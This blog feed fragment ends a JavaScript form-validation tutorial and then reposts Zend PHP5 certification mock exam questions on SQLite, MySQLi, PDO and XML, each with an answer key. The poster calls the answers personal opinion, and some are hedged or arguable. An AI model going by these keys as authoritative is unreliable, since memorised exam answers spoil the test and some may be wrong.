   if(Form.validateLength(inputs[1], Form.lname)){
    if(Form.validateEmail(inputs[2])){
      submit_button.disabled = false;
      return true;
    }
   }
  }
  submit_button.disabled = &#39;disabled&#39;;
  return false;
 };
 checkForm();
 addEvent(ourForm, &#39;keyup&#39;, checkForm);
 addEvent(ourForm, &#39;submit&#39;, checkForm);
});
&lt;/pre&gt;
Let&#39;s break down this code.&lt;br /&gt;
We wrap our code in the addEvent function so when the window is loaded this script runs.&lt;br /&gt; Firstly we grab our form using its ID and put it in a variable named &lt;b&gt;ourForm&lt;/b&gt;, then we grab&lt;br /&gt; our submit button (using our Form objects getSubmit method) and put it in a variable named &lt;b&gt;submit_button&lt;/b&gt;,&lt;br /&gt; and then set the submit buttons disabled attribute to &#39;disabled&#39;.&lt;br /&gt;
Next we define a checkForm function. This stores all the inputs inside the form field as an array and we attach it to a&lt;br /&gt; variable named.. you guessed it.. &lt;b&gt;inputs&lt;/b&gt;!&lt;br /&gt; Then it defines some nested if statements which test each of the fields inside the inputs array against our Form methods.&lt;br /&gt; This is the reason we returned true or false in our methods, so if it returns true, we pass that if statement and continue onto the next,&lt;br /&gt; but if it returns false, we exit the if statements.&lt;br /&gt;
Following our function definition, we execute the checkForm function when the page initially loads and also attach the function to a keyup event&lt;br /&gt; and a submit event.&lt;br /&gt;
You might be asking, why attach to submit if we disabled the submit button. Well if you are focused on an input field and hit the enter key, it will&lt;br /&gt; attempt to submit the form and we need to test for this, hence the reason our checkForm function returns true (submits the form) or false (doesn&#39;t submit form).&lt;br /&gt;
&lt;h3&gt;
Conclusion&lt;/h3&gt;
So we learned how to define the different object types within JavaScript and create properties and methods within them. We also learned a nifty addEvent function and got to use our object in a basic real world example.&lt;br /&gt;
This concludes the basics of JavaScript Object Orientation. Hopefully, this may start you on your way to building your own JavaScript library! If you liked this article and are interested in other JavaScript related topics, post them in the comments as I&#39;d be happy to continue writing them. Thanks for reading.&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;bsap_1260864 bsap&quot; id=&quot;bsap_1260864&quot;&gt;
&lt;iframe class=&quot;bsap_backfillframe&quot; frameborder=&quot;0&quot; height=&quot;250&quot; id=&quot;backfill_1260864_frame&quot; scrolling=&quot;no&quot; src=&quot;//s3.buysellads.com/1260864/backfill5.html&quot; width=&quot;300&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/9201711133144075593/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2013/02/the-basics-of-object-oriented-javascript.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/9201711133144075593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/9201711133144075593'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2013/02/the-basics-of-object-oriented-javascript.html' title='The Basics of Object-Oriented JavaScript'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-3269154377131287681</id><published>2013-02-01T18:28:00.003-08:00</published><updated>2013-02-03T10:38:00.721-08:00</updated><title type='text'>Zend PHP5 Certification Mock Exam Sample Questions — 3</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div id=&quot;entries&quot;&gt;
&lt;h1&gt;
Zend PHP5 Certification Mock Exam Sample Questions — 3&lt;/h1&gt;
&lt;div class=&quot;post-meta&quot;&gt;
&lt;a href=&quot;http://wmdn.ru/category/php/&quot; rel=&quot;category tag&quot; title=&quot;Просмотреть все записи в рубрике «PHP»&quot;&gt;PHP&lt;/a&gt; | 08.04.2011 | &lt;!--4 Comments |--&gt; &lt;/div&gt;
&lt;div class=&quot;post&quot;&gt;
&lt;!-- google_ad_section_start --&gt;&lt;br /&gt;
&lt;img alt=&quot;zend logo&quot; class=&quot;alignleft size-full wp-image-871&quot; height=&quot;40&quot; src=&quot;http://wmdn.ru/wp-content/uploads/2010/08/zend_logo.jpg&quot; title=&quot;zend logo&quot; width=&quot;90&quot; /&gt;Hi friends, I decided to post on his blog the exam questions to test Zend PHP5 with the correct (imho) answers and explain their references.&lt;br /&gt;
If you&amp;nbsp;have&amp;nbsp;additions&amp;nbsp;or&amp;nbsp;questions&amp;nbsp;please write&amp;nbsp;them in the comments.&lt;br /&gt;
&lt;span id=&quot;more-1186&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;b&gt;111. Unlike a database such as MySQL, SQLite columns are not explicitly typed. Instead, SQLite catagorizes data into which of the following catagories?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;textual&lt;/li&gt;
&lt;li&gt;unicode&lt;/li&gt;
&lt;li&gt;numeric&lt;/li&gt;
&lt;li&gt;binary&lt;/li&gt;
&lt;li&gt;constant&lt;/li&gt;
&lt;/ol&gt;
Answer: A, C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.sqlite.org/datatype3.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.sqlite.org/datatype3.html&lt;/a&gt;: the database engine may convert values between numeric storage classes (INTEGER and REAL) and TEXT during query execution.&lt;br /&gt;
&lt;b&gt;112. Which of the following SQL statements will improve SQLite write performance?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;PRAGMA locking_mode = «Row»;&lt;/li&gt;
&lt;li&gt;PRAGMA count_changes = Off;&lt;/li&gt;
&lt;li&gt;PRAGMA default_synchronous = Off;&lt;/li&gt;
&lt;li&gt;PRAGMA default_synchronous = On;&lt;/li&gt;
&lt;li&gt;PRAGMA locking_mode = «Table»;&lt;/li&gt;
&lt;/ol&gt;
Answer: B, C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://web.utk.edu/~jplyon/sqlite/SQLite_optimization_FAQ.html#pragmas&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://web.utk.edu/~jplyon/sqlite/SQLite_optimization_FAQ.html#pragmas&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;113. Consider the following code snippet. What would go in place of the ???? above for this script to function properly?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$link = mysqli_connect(&quot;hostname&quot;,&quot;username&quot;,&quot;password&quot;);&lt;br /&gt;
if(!$link)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$error = ??????&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;die(&quot;Could not connect to the database: $error&quot;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;mysqli_connect_error();&lt;/li&gt;
&lt;li&gt;mysqli_connect_error($link);&lt;/li&gt;
&lt;li&gt;mysqli_error();&lt;/li&gt;
&lt;li&gt;$_MySQL[&#39;connect_error&#39;]&lt;/li&gt;
&lt;li&gt;mysqli_get_connect_error();&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/ru/mysqli.connect-error.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/ru/mysqli.connect-error.php&lt;/a&gt; — Returns a string description of the last connect error&lt;br /&gt;
&lt;b&gt;114. Consider the following code snippet. Assuming this snippet is a smaller part of a correctly written script, what actions must occur in place of the ????? in the above code snippet to insert a row with the following values: 10, 20.2, foo, string?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$query = &quot;INSERT INTO mytable&lt;br /&gt;
(myinteger, mydouble, myblob, myvarchar)&lt;br /&gt;
VALUES (?, ?, ?, ?)&quot;;&lt;br /&gt;
$statement = mysqli_prepare($link, $query);&lt;br /&gt;
if(!$statement)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;die(mysqli_error($link));&lt;br /&gt;
}&lt;br /&gt;
/* The variables being bound to by MySQLi&lt;br /&gt;
don&#39;t need to exist prior to binding */&lt;br /&gt;
mysqli_bind_param($statement, &quot;idbs&quot;,&lt;br /&gt;
$myinteger, $mydouble, $myblob, $myvarchar);&lt;br /&gt;
/* ???????????? */&lt;br /&gt;
/* execute the query, using the variables as defined. */&lt;br /&gt;
if(!mysqli_execute($statement))&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;die(mysqli_error($link));&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;A transaction must be begun and the variables must be assigned&lt;/li&gt;
&lt;li&gt;Each value must be assigned prior to calling mysqli_bind_param(), and thus nothing should be done&lt;/li&gt;
&lt;li&gt;Use mysqli_bind_value() to assign each of the values&lt;/li&gt;
&lt;li&gt;Assign $myinteger, $mydouble, $myblob, $myvarchar the proper values&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/mysqli-stmt.bind-param.php:&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/mysqli-stmt.bind-param.php:&lt;/a&gt; Example #2 Procedural style, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/ru/mysqli.prepare.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/ru/mysqli.prepare.php&lt;/a&gt;: The parameter markers must be bound to application variables using &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/ru/mysqli-stmt.bind-param.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;mysqli_stmt_bind_param()&lt;/a&gt; and/or &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/ru/mysqli-stmt.bind-result.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;mysqli_stmt_bind_result()&lt;/a&gt;before executing the statement or fetching rows, also mysqli_bind_value is not exists in php.net.&lt;br /&gt;
&lt;b&gt;115. Consider the following code snippet, assuming this code snippet is part of a larger correct application, what must be done in place of the ???? above for the correct output to be displayed?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$query = &quot;SELECT first, last, phone FROM contacts WHERE first LIKE &#39;John%&#39;&quot;;&lt;br /&gt;
$statement = mysqli_prepare($link, $query);&lt;br /&gt;
mysqli_execute($statement);&lt;br /&gt;
/* ???? */&lt;br /&gt;
while(($result = mysqli_stmt_fetch($statement)))&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;Name: $first $last\n&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;Phone: $phone\n\n&quot;;&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;None of the above&lt;/li&gt;
&lt;li&gt;mysqli_fetch_columns($first, $last, $phone);&lt;/li&gt;
&lt;li&gt;mysqli_stmt_bind_result($statement, $first, $last, $phone);&lt;/li&gt;
&lt;li&gt;A while loop, fetching the row and assigning $first, $last, and $phone the proper value&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/mysqli-stmt.bind-result.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/mysqli-stmt.bind-result.php&lt;/a&gt; — Binds variables to a prepared statement for result storage.&lt;br /&gt;
&lt;b&gt;116. Which of the following cases are cases when you should use transactions?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Updating a single row in a table&lt;/li&gt;
&lt;li&gt;Inserting a new row into a single table&lt;/li&gt;
&lt;li&gt;Performing a stored procedure&lt;/li&gt;
&lt;li&gt;Selecting rows from multiple different tables&lt;/li&gt;
&lt;li&gt;Updating a single row in multiple different tables&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/pdo.transactions.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/pdo.transactions.php&lt;/a&gt; – Example #6 Executing a batch in a transaction&lt;br /&gt;
&lt;b&gt;117. PHP 5 supports which of the following XML parsing methods?&lt;/b&gt; (Choose 4 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;SAX&lt;/li&gt;
&lt;li&gt;FastDOM&lt;/li&gt;
&lt;li&gt;DOM&lt;/li&gt;
&lt;li&gt;XPath&lt;/li&gt;
&lt;li&gt;XML to Object mapping&lt;/li&gt;
&lt;/ol&gt;
Answer: A, C, D, E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://pear.php.net/package/XML_HTMLSax&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://pear.php.net/package/XML_HTMLSax&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/de/book.dom.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/de/book.dom.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/de/simplexmlelement.xpath.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/de/simplexmlelement.xpath.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/function.simplexml-load-file.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/function.simplexml-load-file.php&lt;/a&gt; (Interprets an XML file into an object) and FastDOM is not exists.&lt;br /&gt;
&lt;b&gt;118. Which of the following is not a valid PDO DSN?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;All of the above are valid&lt;/li&gt;
&lt;li&gt;mysql:unix_socket=/tmp/mysql.sock;dbname=testdb&lt;/li&gt;
&lt;li&gt;oci:dbname=//localhost:1521/mydb&lt;/li&gt;
&lt;li&gt;mysql:host=localhost;port=3307;dbname=testdb&lt;/li&gt;
&lt;li&gt;sqlite2:/opt/databases/mydb.sq2&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
all from &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/pdo.drivers.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/pdo.drivers.php&lt;/a&gt;: &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/ref.pdo-mysql.connection.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/ref.pdo-mysql.connection.php&lt;/a&gt; (Example #1 PDO_MYSQL DSN examples), &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/ref.pdo-oci.connection.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/ref.pdo-oci.connection.php&lt;/a&gt; (Example #1 PDO_OCI DSN examples), &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/ref.pdo-sqlite.connection.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/ref.pdo-sqlite.connection.php&lt;/a&gt; (Example #1 PDO_SQLITE DSN examples)&lt;br /&gt;
&lt;b&gt;119. When connecting to a database using PDO, what must be done to ensure that database credentials are not compromised if the connection were to fail?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;wrap the PDO DSN in a try/catch block to catch any connection exception&lt;/li&gt;
&lt;li&gt;Use constants in the PDO DSN&lt;/li&gt;
&lt;li&gt;Place the login credentials in the php.ini file&lt;/li&gt;
&lt;li&gt;Disable E_STRICT and E_NOTICE error reporting levels&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/pdo.connections.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/pdo.connections.php&lt;/a&gt;: Example #3 Handling connection errors, If your application does not catch the exception thrown from the PDO constructor, the default action taken by the zend engine is to terminate the script and display a back trace. This back trace will likely reveal the full database connection details, including the username and password. It is your responsibility to catch this exception, either explicitly (via acatch statement) or implicitly via &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/function.set-exception-handler.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;set_exception_handler()&lt;/a&gt;.&lt;br /&gt;
&lt;b&gt;120. Consider the following script. What lines of code need to go into the missing places above in order for this script to function properly and insert the data into the database safely?&lt;/b&gt; (Choose 4 answers)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
try {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$dbh = new PDO(&quot;sqlite::memory:&quot;);&lt;br /&gt;
} catch(PDOException $e) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;print $e-&amp;gt;getMessage();&lt;br /&gt;
}&lt;br /&gt;
$dbh-&amp;gt;query(&quot;CREATE TABLE foo(id INT)&quot;);&lt;br /&gt;
$stmt = $dbh-&amp;gt;prepare(&quot;INSERT INTO foo VALUES(:value)&quot;);&lt;br /&gt;
$value = null;&lt;br /&gt;
$data = array(1,2,3,4,5);&lt;br /&gt;
$stmt-&amp;gt;bindParam(&quot;:value&quot;, $value);&lt;br /&gt;
/* ?????? */&lt;br /&gt;
try {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;foreach($data as $value) {&lt;br /&gt;
/* ????? */&lt;br /&gt;
}&lt;br /&gt;
} catch(PDOException $e) {&lt;br /&gt;
/* ??????? */&lt;br /&gt;
}&lt;br /&gt;
/* ?????? */&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;$dbh-&amp;gt;beginTransaction();&lt;/li&gt;
&lt;li&gt;$dbh-&amp;gt;commit();&lt;/li&gt;
&lt;li&gt;$stmt-&amp;gt;execute();&lt;/li&gt;
&lt;li&gt;$dbh-&amp;gt;rollback();&lt;/li&gt;
&lt;li&gt;$dbh-&amp;gt;query($stmt);&lt;/li&gt;
&lt;/ol&gt;
Answer: A, C, D, B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/pdo.query.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/pdo.query.php&lt;/a&gt;: For a query that you need to issue multiple times, you will realize better performance if you prepare a PDOStatement object using &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/pdo.prepare.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;PDO::prepare()&lt;/a&gt; and issue the statement with multiple calls to &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/pdostatement.execute.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;PDOStatement::execute()&lt;/a&gt;.&lt;br /&gt;
&lt;b&gt;121. Implementing your own PDO class requires which steps from the list below?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Extending the PDOStatement Class&lt;/li&gt;
&lt;li&gt;Set the PDO::ATTR_STATEMENT_CLASS parameter&lt;/li&gt;
&lt;li&gt;Call the PDO::setStatementClass() method&lt;/li&gt;
&lt;li&gt;Extend the PDO class&lt;/li&gt;
&lt;li&gt;Set the PDO::ATTR_USE_CLASS paramater&lt;/li&gt;
&lt;/ol&gt;
Answer: D, A, B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/book.pdo.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/book.pdo.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;122. When embedding PHP into XML documents, what must you ensure is true in order for things to function properly?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Disabling of the short_tags PHP.ini directive&lt;/li&gt;
&lt;li&gt;Enabling the asp_tags PHP.ini directive&lt;/li&gt;
&lt;li&gt;That you have XPath support enabled in PHP 5&lt;/li&gt;
&lt;li&gt;That your XML documents are well-formed&lt;/li&gt;
&lt;li&gt;None of the above, PHP can be embedded in XML in all cases.&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.daaq.net/old/php/index.php?page=embedding+php&amp;amp;parent=php+basics&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.daaq.net/old/php/index.php?page=embedding+php&amp;amp;parent=php+basics&lt;/a&gt;: “… This means that XML documents containing PHP should still be well-formed and valid.”, and &lt;a href=&quot;http://wmdn.ru/goto/http://www.ibm.com/developerworks/library/x-xmlphp1.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;about well-formed xml from IBM&lt;/a&gt;.&lt;br /&gt;
&lt;b&gt;123. What XML technology is used when you mix two different document types in a single XML document?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Validators&lt;/li&gt;
&lt;li&gt;DTD&lt;/li&gt;
&lt;li&gt;Transformations&lt;/li&gt;
&lt;li&gt;Namespaces&lt;/li&gt;
&lt;/ol&gt;
Answer: D (B)&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.webdeveloper.com/forum/showthread.php?t=230532:&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.webdeveloper.com/forum/showthread.php?t=230532:&lt;/a&gt; ultimately &lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/XML#DTD&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;DTD&lt;/a&gt; or &lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/XML_namespace&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Namespaces&lt;/a&gt;?&lt;br /&gt;
&lt;b&gt;124. Consider the following example XML document. What is wrong with this document, and how can it be corrected?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot; ?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&lt;br /&gt;
PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;&lt;br /&gt;
&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&lt;br /&gt;
&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;en&quot; lang=&quot;en&quot;&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;XML Example&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
Moved to &amp;lt;&amp;lt;a href=&quot;http://example.org/&quot;&amp;gt;http://www.example.org/&amp;lt;/a&amp;gt;.&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;The document is completely valid&lt;/li&gt;
&lt;li&gt;All special XML characters must be represented as entities within the content of a node&lt;/li&gt;
&lt;li&gt;All tags must be closed&lt;/li&gt;
&lt;li&gt;You cannot specify a namespace for the &amp;lt;html&amp;gt; attribute&lt;/li&gt;
&lt;li&gt;The DOCTYPE declaration is malformed&lt;/li&gt;
&lt;/ol&gt;
Answer: B, C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Well-formed_element&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Well-formed_element&lt;/a&gt; for &amp;lt;br&amp;gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/XML#Escaping&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/XML#Escaping&lt;/a&gt; for node content ‘Moved to &amp;lt;&amp;lt;a href=»http://example.org/»&amp;gt;http://www.example.org/&amp;lt;/a&amp;gt;.&amp;gt;’&lt;br /&gt;
&lt;b&gt;125. Event-based XML parsing is an example of which parsing model?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;SAX&lt;/li&gt;
&lt;li&gt;DOM&lt;/li&gt;
&lt;li&gt;XML Object Mapping&lt;/li&gt;
&lt;li&gt;XPath&lt;/li&gt;
&lt;li&gt;XQuery&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Simple_API_for_XML#XML_processing_with_SAX;&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Simple_API_for_XML#XML_processing_with_SAX&lt;/a&gt;: A &lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Parser&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;parser&lt;/a&gt; which implements SAX (ie, a SAX Parser) functions as a stream parser, with an &lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Event-driven&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;event-driven&lt;/a&gt; API. The user defines a number of &lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Callback_(computer_science)&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;callback methods&lt;/a&gt; that will be called when events occur during parsing.&lt;br /&gt;
&lt;b&gt;126. Consider the following code segment. What should be placed in place of ?????? above to have the above script display the name of each tag within the XML document?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$xmldata = &amp;lt;&amp;lt;&amp;lt; XML&lt;br /&gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot; ?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&lt;br /&gt;
PUBLIC «-//W3C//DTD XHTML 1.0 Transitional//EN»&lt;br /&gt;
«http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd»&amp;gt;&lt;br /&gt;
&amp;lt;html xmlns=»http://www.w3.org/1999/xhtml» xml:lang=»en» lang=»en»&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;XML Example&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
Moved to &amp;amp;lt;&amp;lt;a href=»http://example.org/»&amp;gt;http://www.example.org/&amp;lt;/a&amp;gt;.&amp;amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
XML;&lt;br /&gt;
$xml = xml_parser_create(«UTF-8»);&lt;br /&gt;
/* ??????? */&lt;br /&gt;
xml_parse($xml, $xmldata);&lt;br /&gt;
function xml_start_handler($xml, $tag, $attributes) {&lt;br /&gt;
print «Tag: $tag&amp;lt;br/&amp;gt;\n»;&lt;br /&gt;
}&lt;br /&gt;
function xml_end_handler($xml, $tag) {&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;xml_set_callback(«xml_start_handler»);&lt;/li&gt;
&lt;li&gt;xml_set_element_handler($xml, «xml_start_handler», «xml_end_handler»);&lt;/li&gt;
&lt;li&gt;xml_node_set_handler(«xml_start_handler», «xml_end_handler»);&lt;/li&gt;
&lt;li&gt;xml_node_set_handler(«xml_start_handler»);&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
